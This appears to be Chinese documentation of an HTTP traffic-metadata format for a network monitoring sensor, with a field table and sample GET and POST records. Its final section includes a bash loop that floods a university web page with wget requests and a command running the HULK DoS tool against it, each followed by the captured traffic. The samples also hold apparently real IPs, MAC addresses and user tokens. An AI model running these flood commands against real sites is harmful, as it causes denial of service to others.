HTTP metadata数据

信息元位置	信息元名称	信息元ID	信息元描述
1	MetadataVersion	5000	Metadata版本号当前版本号为1.0
2	MetadataID	1019	MetadataID
3	sourceIPv4Address or sourceIPv6Address	8 or 27	源IP（IPv4或者IPv6）
4	destinationIPv4Address or destinationIPv6Address	12 or 28	目的IP（IPv4或者IPv6）
5	sourceTransportPort	7	源端口
6	destinationTransportPort	11	目的端口
7	protocolIdentifier	4	IP协议：TCP：6，UDP：17，ICMP：1
8	octetDeltaCount	1	一条流的上行字节数（C2S）
9	packetDeltaCount	2	一条流的上行报文数（C2S）
10	postOctetDeltaCount	23	一条流下行报文字节数（S2C）
11	postPacketDeltaCount	24	一条流下行报文数（S2C）
12	flowStartSeconds	150	流第一个包的绝对时间戳（秒）
13	flowEndSecond	151	流最后一个包的绝对时间戳（秒）

26	applicationProtocolName	2000	应用协议名称：HTTP、HTTPS、SSL等定义参见《知识库-类别应用协议ID》
27	applicationName	96	一个应用的名称：
28	applicationCategoryName	372	应用大类
29	applicationSubCategoryName	373	应用小类
30	httpMethod	2001	操作类型：get、post等
31	httpRequestHostName	2003	请求中的Host name
32	httpResponseCode	2004	应答状态码，200、404等
33	httpContentType	2007	实体头用于向接收方指示实体的介质类型，指定HEAD方法送到接收方的实体介质类型，或GET方法发送的请求介质类型Content-Range实体头
34	httpRefer	2009	协议中的Referer域
35	httpRequestUserAgent	2010	协议中的User-Agent域，用户的浏览器类型，发起http请求的应用名称、版本，这个是从请求信息中提取的
36	httpRequestURL	2055	http请求URL
37	httpRequestLabelNum	2057	http请求的标签数目
38	httpReplyLabelNum	2058	http应答的标签数目
39	httpRequestVersion	2059	http请求的版本号
40	httpReplyVersion	2060	http应答的版本号
41	fileName	2047	HTTP上传或者下载的文件的文件名；或者邮件（STMP/POP3/IMAP4）附件文件名
42	fileEncrypt	2048	HTTP上传、下载文件或者邮件（STMP/POP3/IMAP4）附件的文件类型，是否加密0X00：未加密 0X01：加密
43	fileType	2049	HTTP上传下载文件或者邮件（STMP/POP3/IMAP4）附件文件的文件格式，支持的文件格式包括：常见可执行文件类型(exe、msi、rpm、ocx、com、a、so、out、elf、dll、sys) 2、常见文档类文件类型(doc、ppt、xls、dot、pot、xlt、pps、docx、docm、dotx、dotm、pptx、pptm、potx、potm、ppsx、ppsm、xlsx、xlsm、xltx、xltm、pdf、vsd、mpp、ods、odt、odp、eml、uof) 3、常见压缩类文件类型(rar、tar、zip、gzip、cab、bz2) 4、常见视频类文件类型(mdi、mov、mpeg、mpg、avi、rmvb、asf、swf、mp3、mp4、wmv、wma、midi) 5、常见图片类文件类型(png、tif、wmf、bmp、gif、jpeg、jpg) 7、HTML类型(chm) 9、其他类型(torrent、crt) 10、支持：enc-doc、enc-xls、enc-ppt、enc-office2007、enc-zip、Zcompressed、enc-rar、lha、bat、cmd、flv、hta、iso、pgp、pif、pl、reg、rtf、sh、dsm、dwg、edif、lnk、lzh、mkv、tdb、wsf、apk、mdb、ico、inf、jar、psd、accdb、cat、nsf、odg、odb、res、sln、vcproj、ilk、pdb、obj、cap、ttf、fon、enc_pdf、7zip、pcap、odt
44	fileSize	2050	HTTP上传下载文件或者邮件（STMP/POP3/IMAP4）附件文件的大小（bytes）
45	fileMd5	2100	HTTP上传下载文件或者邮件（STMP/POP3/IMAP4）附件文件的md5

66	SrcIPUser	字段含义：SrcIP对应用户信息数据类型：String 字段最大长度：256
67	DestIPUser	字段含义：DestIP对应用户信息数据类型：String 字段最大长度：256
68	SrcGeographyLocationCountryOrRegion	字段含义：源IP所在国家或地区数据类型：String 字段最大长度：128
69	SrcGeographyLocationCity	字段含义：源IP所在城市数据类型：String 字段最大长度：128
70	SrcGeographyLocationLongitude	字段含义：源IP所在经度数据类型：String 字段最大长度：128
71	SrcGeographyLocationLatitude	字段含义：源IP所在纬度数据类型：String 字段最大长度：128
72	DestGeographyLocationCountryOrRegion	字段含义：目的IP所在国家或地区数据类型：String 字段最大长度：128
73	DestGeographyLocationCity	字段含义：目的IP所在城市数据类型：String 字段最大长度：128
74	DestGeographyLocationLongitude	字段含义：目的IP对应经度数据类型：String 字段最大长度：128
75	DestGeographyLocationLatitude	字段含义：目的IP对应纬度数据类型：String 字段最大长度：128

82	requestLength	2061	requestLength 表示http请求长度
83	replyLength	2062	replyLength 表示http应答长度
84	httpCookie	2063	httpCookie 表示Cookie内容
85	httpLabelList	2064	httpLabelList 表示http请求标签清单，各标签定义之间使用；号间隔
86	httpSelfDefineLabel	2065	httpSelfDefineLabel 表示http请求自定义标签

102	httpRequesHead	2066	http请求头，Base64编码，编码后长度最大1K字节
103	httpRequestBody	2067	http请求体，Base64编码，编码后长度最大1K字节
104	httpReplyHead	2068	http响应头，Base64编码，编码后长度最大1K字节
105	httpReplyBody	2069	http响应体，Base64编码，编码后长度最大512字节

附1：HTTP请求标签编码，在Metadata中用编号代替对应的标签

编号	名称	示例值	字段类型	字段用途备注说明
1	Accept	"text/html, image/*"	请求头字段	告诉WEB服务器自己接受什么介质类型，/ 表示任何类型，type/* 表示该类型下的所有子类型，type/sub-type。
2	Accept-Charset	"iso8859-5"	请求头字段	浏览器申明自己接收的字符集

。。。。

GET示例数据：

6^c55e5b337860185e01000000^162.105.162.78^61.158.132.76^51597^80^6^874^3^141^3^1530099808^1530099808^^^^^^^^^^^^^HTTP^Thunder^General_Internet^FileShare_P2P^GET^vod076.t37.lixian.vip.xunlei.com^403^text/plain; charset=utf-8^http://dynamic.lixian.vip.xunlei.com/user_task?userid=332577465&st=0&p=3^Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)^http://vod076.t37.lixian.vip.xunlei.com/download?fid=Ika3UDwJJcr8KQQR3bOBGMkA8bUTkgEAAAAAAH9DTq62A8iCBKQJReBkHSFGK006&mid=666&threshold=150&tid=8F6A00F2D2D8AD9F74D499C542060CC3&srcid=4&verno=1&g=7F434EAEB603C88204A40945E0641D21462B4D3A&scn=c11&i=5CAA3D48C2972069FD440F7980A299C1FC818D3D&t=6&ui=332577465&ti=496130517894721&s=102931&m=0&n=015304CA3869660000&ih=5CAA3D48C2972069FD440F7980A299C1FC818D3D&fi=19&pi=496130517698049&ff=0&co=CD45256D12A08460B3458A2D7F63FAED&cm=1&pk=lixian&ak=1:1:6:4&e=1450442190&ms=10485760&c&k=1&ts=1530100575^6^4^HTTP/1.1^HTTP/1.1^^^^^^^^^^^^^^^^^^^^^^^1530100600648^pku162^^^^^^^^CN^Zhengzhou^113.5325^34.683594^^^^^2018-06-27T11:56:40.648^^874^141^^7;9;26;39;40;51^^TCP^^^^^^dc:fe:18:34:36:13^61.158.132.76

^^^^^^^^Q2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkhvc3Q6IHZvZDA3Ni50MzcubGl4aWFuLnZpcC54dW5sZWkuY29tDQpSYW5nZTogYnl0ZXM9MC0xMDI5MzANClJlZmVyZXI6IGh0dHA6Ly9keW5hbWljLmxpeGlhbi52aXAueHVubGVpLmNvbS91c2VyX3Rhc2s

/

dXNlcmlkPTMzMjU3NzQ2NSZzdD0wJnA9Mw0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNy4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IFRyaWRlbnQvNy4wOyAuTkVUNC4wRTsgLk5FVDQuMEM7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjAuMzA3MjkpDQoNCg

==

^^SGRzZXJ2ZXItRXJyb3I6IA0KRGF0ZTogV2VkLCAyNyBKdW4gMjAxOCAxMTo1Njo1OCBHTVQNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgNCg0K^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

POST示例数据：

5^c8a85b337bf6114301000000^10.2.211.234^14.17.41.197^35890^8080^6^941^6^443^4^1530100726^1530100726^^^^^^^^^^^^^HTTP^HTTP^Network^Infrastructure^POST^14.17.41.197:8080^200^application/multipart-formdata^^Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; MI 6 Build/OPR1.170623.027) AppleWebKit/533.1 (KHTML, like Gecko) Mobile Safari/533.1^http://14.17.41.197:8080/?tk=0915289f9055fa5778b36a8c6193e411f6b65c3b72bb76ec4d1bfc7f599e9269323f6e7f03b881db21133b1bf2ae5bc5&iv=ba88a89747d8e7af&encrypt=17^10^8^HTTP/1.1^HTTP/1.1^^^^^^^^^^^^^^^^^^^^^^^1530100600575^总区域^^^^^^^^CN^Guangzhou^113.25^23.1167^^^^^2018-06-27T11:56:40.575^^941^219^^Q-UA2;Q-GUID;QQ-S-ZIP;1;51;9;3;21;14;26^Q-UA2: QV=3&PL=ADR&PR=TRD&PP=com.shanbay.words&PPVN=8.0.302&TBSVC=43500&CO=BK&COVC=043613&PB=GE&VE=GA&DE=PHONE&CHID=0&LCID=9422&MO= MI6 &RL=1080*1920&OS=8.0.0&API=26;_Q-GUID: 6A53E0FFE1E66FE944D2D577AC72A30E0AA8B223C1F04164DCB59DA5CD97D0F8;_QQ-S-ZIP: gzip^TCP^^^^^^ec:d0:9f:dd:d6:7b^14.17.41.197

^^^^^^^^US1VQTI6IFFWPTMmUEw9QURSJlBSPVRSRCZQUD1jb20uc2hhbmJheS53b3JkcyZQUFZOPTguMC4zMDImVEJTVkM9NDM1MDAmQ089QksmQ09WQz0wNDM2MTMmUEI9R0UmVkU9R0EmREU9UEhPTkUmQ0hJRD0wJkxDSUQ9OTQyMiZNTz0gTUk2ICZSTD0xMDgwKjE5MjAmT1M9OC4wLjAmQVBJPTI2DQpRLUdVSUQ6IDZBNTNFMEZGRTFFNjZGRTk0NEQyRDU3N0FDNzJBMzBFMEFBOEIyMjNDMUYwNDE2NERDQjU5REE1Q0Q5N0QwRjgNClFRLVMtWklQOiBnemlwDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKExpbnV4OyBVOyBBbmRyb2lkIDguMC4wOyB6aC1jbjsgTUkgNiBCdWlsZC9PUFIxLjE3MDYyMy4wMjcpIEFwcGxlV2ViS2l0LzUzMy4xIChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlIFNhZmFyaS81MzMuMQ0KQ29ubmVjdGlvbjogQ2xvc2UNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAyNDANCkhvc3Q6IDE0LjE3LjQxLjE5Nzo4MDgwDQoNCg

==^2olt5FIKWdK4t07bNKITmTRJP6pja04WOz4Gi2suxjQOigfz+sUJ33aT4/qHy8z1GLQ5a5WNp12HmJMrjWsQIMNLEMb/ENldvBKM5I+I1HPlXxYwZUB+B/AhKqCrj8RQTKZbYMZIi47B0mJtRYf2msK3S3S3y2zvdjB75KjyIjWJRUq3Q0KfOV/kyf1WubjpOC8HOdI0kHEw/Oph90TT8Yxsmv45i7wdWS9rE1XYy5HRcflnmHt5tdHCJymI+WsJl4tg6PFuzNWEekPpec08CJlhjuBJCq4a+

voSWGOeeU7tWGuX7SJ3gUE3QwaMtSdc^Q2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LUxlbmd0aDogMjI0DQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL211bHRpcGFydC1mb3JtZGF0YQ0KRGF0ZTogV2VkLCAyNyBKdW4gMjAxOCAxMTo1Njo1OSBHTVQNClFRLVMtRW5jcnlwdDogMTcNClFRLVMtWklQOiBnemlwDQpTZXJ2ZXI6IFFCU2VydmVyDQoNCg

==^VoW5Cb18ouvhUQI+tJW58ZbiVW58uQEtVf5b4bzpSLA7REqIi0SoWzgYsIOeGInGgNj78tQCJQjfc6cORO+

gN6gpMaC9cqzjhQzL4iEor8YQq4S3KvyQ6OlXaQuvatGbr92M3jzKrjutpT6M4RSoZRq8OQJsFScqRHl1SJNoA2xRIMZIHE2S0ErgtMoT1hoKEO3iwhu41nrAHHx9gou9FPjr2MeKK8ScuNvfENI6m5jPW1

+ABFpiFXffnfIuKqRNCr3CMe1sun9jnOtrqrr0/CX33Uepb4/jo5jWPuVO2e0=^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

ddos攻击时候，脚本：

#!/bin/bash
x=1
while [ $x -ge 0 ]
do
echo "Welcome $x times"
wget http://www.pku.edu.cn/campuslife/index.htm
x=$(( $x + 1 ))
done

采集到的数据：

6^80725b35edb0184f01000000^61.148.244.168^162.105.131.196^7203^80^6^320^4^1368^4^1530260912^1530260916^^^^^^^^^^^^^HTTP^Wget^General_Internet^File_Sharing^GET^www.pku.edu.cn^200^text/html; charset=UTF-8^^Wget/1.19.2 (darwin16.7.0)^http://www.pku.edu.cn/campuslife/index.htm^5^9^HTTP/1.1^HTTP/1.1^^^^^^^^^^^^^^^^^^^^^^^1530261627439^^重要服务器^^^CN^Beijing^116.388306^39.928894^^^^^^^^^2018-06-29T08:40:27.439^^160^310^^51;1;3;26;9^^TCP^^^^^^61.148.244.168^162.105.131.196^^^^^^^^VXNlci1BZ2VudDogV2dldC8xLjE5LjIgKGRhcndpbjE2LjcuMCkNCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANCkhvc3Q6IHd3dy5wa3UuZWR1LmNuDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg==^^RGF0ZTogRnJpLCAyOSBKdW4gMjAxOCAwODowNDo0OSBHTVQNClNlcnZlcjogQXBhY2hlLzIuMi4xNSAoQ2VudE9TKQ0KTGFzdC1Nb2RpZmllZDogVGh1LCAyNCBNYXkgMjAxOCAwMjowMToyMyBHTVQNCkVUYWc6ICI0MTExMy03M2VkLTU2Y2VhMDc0OTdhODAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDI5Njc3DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTE1LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo=^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

6^e1c75b35edf2184102000000^61.148.244.168^162.105.131.196^9200^80^6^^^^^1530260978^1530260982^^^^^^^^^^^^^HTTP^HTTP^^^GET^^^^^^http://www.pku.edu.cn/campuslife/index.htm^^^^^index.htm^0^HTML^28508^faf301c63c5d5a7419f05053d990ad14^^^^^^^^^^^^^^^^^^1530261692961^^重要服务器^^^CN^Beijing^116.388306^39.928894^^^^^^^1^^2018-06-29T08:41:32.961^^^^^^^TCP^^^^^^61.148.244.168^162.105.131.196^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

使用hulk，命令：python2 hulk.py http://www.pku.edu.cn/research/index.htm safe

采集到的数据：

6^2dea5b35ea4e185501000000^61.148.244.168^162.105.131.196^29768^80^6^337^4^1368^3^1530260046^1530260051^^^^^^^^^^^^^HTTP^AOL_Video^Entertainment^Online_Media^GET^www.pku.edu.cn^200^text/html; charset=UTF-8^http://engadget.search.aol.com/search?q=KWBBTBLTE^Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)^http://www.pku.edu.cn/research/index.htm?PYWWL=ETUIC^8^8^HTTP/1.1^HTTP/1.1^^^^^^^^^^^^^^^^^^^^^^^1530260762731^^重要服务器^^^CN^Beijing^116.388306^39.928894^^^^^^^^^2018-06-29T08:26:02.731^^337^272^^3;26;56;51;2;9;40;7^^TCP^^^^^^61.148.244.168^162.105.131.196^^^^^^^^QWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KSG9zdDogd3d3LnBrdS5lZHUuY24NCktlZXAtQWxpdmU6IDExNg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IE1TSUUgNy4wOyBXaW5kb3dzIE5UIDYuMDsgZW4tVVMpDQpBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43DQpDb25uZWN0aW9uOiBjbG9zZQ0KUmVmZXJlcjogaHR0cDovL2VuZ2FkZ2V0LnNlYXJjaC5hb2wuY29tL3NlYXJjaD9xPUtXQkJUQkxURQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCg0K^^RGF0ZTogRnJpLCAyOSBKdW4gMjAxOCAwNzo1MDoyNSBHTVQNClNlcnZlcjogQXBhY2hlLzIuMi4xNSAoQ2VudE9TKQ0KTGFzdC1Nb2RpZmllZDogVGh1LCAyNCBNYXkgMjAxOCAwMjowMToyNSBHTVQNCkVUYWc6ICI0MzM4Mi03NzI1LTU2Y2VhMDc1Y2E0YzAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDMwNTAxDQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCg0K^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

6^e6e95b35ea53187601000000^61.148.244.168^162.105.131.196^29791^80^6^378^5^1368^4^1530260051^1530260058^^^^^^^^^^^^^HTTP^HTTP^Network^Infrastructure^GET^www.pku.edu.cn^200^text/html; charset=UTF-8^http://www.pku.edu.cn/KWMPOXSOSZ^Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1^http://www.pku.edu.cn/research/index.htm?JJMGHXS=FVP^8^8^HTTP/1.1^HTTP/1.1^^^^^^^^^^^^^^^^^^^^^^^1530260770023^^重要服务器^^^CN^Beijing^116.388306^39.928894^^^^^^^^^2018-06-29T08:26:10.023^^378^272^^3;26;56;51;2;9;40;7^^TCP^^^^^^61.148.244.168^162.105.131.196^^^^^^^^QWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KSG9zdDogd3d3LnBrdS5lZHUuY24NCktlZXAtQWxpdmU6IDExNQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUykgQXBwbGVXZWJLaXQvNTMyLjEgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNC4wLjIxOS42IFNhZmFyaS81MzIuMQ0KQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0KQ29ubmVjdGlvbjogY2xvc2UNClJlZmVyZXI6IGh0dHA6Ly93d3cucGt1LmVkdS5jbi9LV01QT1hTT1NaDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KDQo=^^RGF0ZTogRnJpLCAyOSBKdW4gMjAxOCAwNzo1MDozMiBHTVQNClNlcnZlcjogQXBhY2hlLzIuMi4xNSAoQ2VudE9TKQ0KTGFzdC1Nb2RpZmllZDogVGh1LCAyNCBNYXkgMjAxOCAwMjowMToyNSBHTVQNCkVUYWc6ICI0MzM4Mi03NzI1LTU2Y2VhMDc1Y2E0YzAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDMwNTAxDQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCg0K^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^